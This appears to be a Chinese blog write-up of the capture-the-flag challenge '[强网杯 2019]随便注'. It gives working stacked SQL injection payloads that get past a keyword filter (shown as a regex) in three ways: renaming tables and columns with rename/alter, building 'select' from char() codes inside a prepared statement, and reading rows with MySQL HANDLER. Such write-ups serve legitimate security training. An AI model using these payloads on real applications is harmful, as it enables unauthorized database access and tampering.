[强网杯 2019]随便注

[强网杯 2019]随便注

在这里插入图片描述

  • 单引号闭合
  • 然后尝试联合注入1’ union select 1,databases()# 返回过滤提示。
    • return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
      在这里插入图片描述

第一种方式:堆叠注入

1';show databases#      看数据库

在这里插入图片描述

1';show tables#看表
在这里插入图片描述

1';show columns from words;# 或 1';desc words;#看表words的字段
在这里插入图片描述

1’;show columns from 1919810931114514# 或1’;desc 1919810931114514;# 看表1919810931114514的字段。

![在这里插入图片描述](https://img-blog.csdnimg.cn/5c32283098604d9ca2e7fff354ed7f6a.png)

* 到这里,就发现,没办法继续下去。
* 可以看见,表`words`有两列,列名为 “id” 和 “data” 而表`1919810931114514`只有一列 “flag” 。
* 可以发现,它是通过 “id” 来索引的,通过输入1时的回显和展示表`words`的内容可以判断。
* 没有过滤 `alter` 和 `rename`。可以修改表名和列名。

### 思路

1. 我们把表`words`改名为其它
2. 然后把表`1919810931114514`改名为`words`
3. 再在表`1919810931114514`插入一列`id`
4. 当我们再次查询时,查询的就是`flag` 所在的表,且可以被展示出来

### payload

  • 1’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#

  • rename table words to words1; 修改表 words 改名为其它,

  • rename table 1919810931114514 to words;修改表 1919810931114514 改名为 words

  • alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id

  • 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id

  • 然后再 1’ or 1=1# ,展示flag


## 第二种方式:sql语句预处理

  • 在sql语句中,@ 用于定义变量。
  • concat(),函数用于字符串拼接。
  • char(),将ASCII码转换为对应的字符。
  • 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;
  • 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];
  • 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;

### payload

  • 1’;SET @sql = concat(char(115,101,108,101,99,116), " * from 1919810931114514"); PREPARE yuchuli from @sql; EXECUTE yuchuli;

    • 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
    • 然后用concat()拼接成一句完整的sql语句。
    • 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。

## 第三种方式:通过handler读取数据

### payload

1’;handler 1919810931114514 open;handler 1919810931114514 read first#


* mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • HANDLER tbl_name OPEN [ [AS] alias]
  • HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]
  • HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]
  • HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]
  • HANDLER tbl_name CLOSE


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值